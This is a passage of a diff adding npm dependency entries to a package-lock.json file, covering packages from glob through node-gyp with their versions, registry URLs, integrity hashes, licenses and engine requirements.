"https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/global-agent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz", + "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "engines": { + "node": ">=10.0" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "11.8.6", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", + "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.2", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=10.19.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hosted-git-info": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.3.0.tgz", + "integrity": "sha512-M5t5LlJpS1UHMjvwRQVdFHvPISGeLAxNcrWuJkeGh0KxsqCHZ1O3NXZU/8x7cD0BDcGW8kapxMKTvwlqrNkHkA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/import-in-the-middle": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-3.5.2.tgz", + "integrity": "sha512-WseIA/4o56+GYO3RmlOPvejYi771OFeJEeK/ejROsr9bdjW+E5NXTOD1Di8TL40Qgg3JJX9aa97Hf8iiSVIKZw==", + "license": "Apache-2.0", + "dependencies": { + "cjs-module-lexer": "^2.2.0", + "es-module-lexer": "^3.0.2", + "module-details-from-path": "^1.0.4" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/isbinaryfile": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", + "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/isexe": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-3.1.5.tgz", + "integrity": "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/jake": { + "version": "10.9.4", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", + "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.6", + "filelist": "^1.0.4", + "picocolors": "^1.1.1" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/jose": { + "version": "6.2.12", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", + "integrity": "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/js-yaml": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", + "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", + "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/lazy-val": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/lazy-val/-/lazy-val-1.0.5.tgz", + "integrity": "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", + "license": "MIT" + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lucide-static": { + "version": "1.55.0", + "resolved": "https://registry.npmjs.org/lucide-static/-/lucide-static-1.55.0.tgz", + "integrity": "sha512-h18lunTFsIJWnY0FMRPjXeO9KcAtNi7fDqtqgWHOFbssfgUWsctn/pA7bpiyrd4g1DuBOJ24CsRnPfkYblwm/A==", + "dev": true, + "license": "ISC" + }, + "node_modules/matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/media-typer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", + "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "10.2.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", + "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.8" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/minizlib": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz", + "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "minipass": "^7.1.2" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/module-details-from-path": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.4.tgz", + "integrity": "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.1.0.tgz", + "integrity": "sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==", + "license": "MIT", + "dependencies": { + "content-type": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/node-abi": { + "version": "4.37.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.37.0.tgz", + "integrity": "sha512-O9XXMXLeRHQtvh43NCah3y9N1K69tecOmu8Y5p2ay4iXvtpbQr0VaroJF9EmRVp3vkdoj3qn4IFfX+ZYtC94fw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.6.3" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/node-api-version": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/node-api-version/-/node-api-version-0.2.1.tgz", + "integrity": "sha512-2xP/IGGMmmSQpI1+O/k72jF/ykvZ89JeuKX3TLJAYPDVLUalrshrLHkeVcCCZqG/eEa635cr8IBYzgnDvM2O8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + } + }, + "node_modules/node-gyp": { + "version": "12.4.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-12.4.0.tgz", + "integrity": "sha512-OMcPNvqTCFUnNaBlmdgq+lfNqY7gTiSmNRDjY3uAXRyudeKZEZxu3CLtjMQrx4zZxCX2b/mpNqTtwuCJgXhHkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + 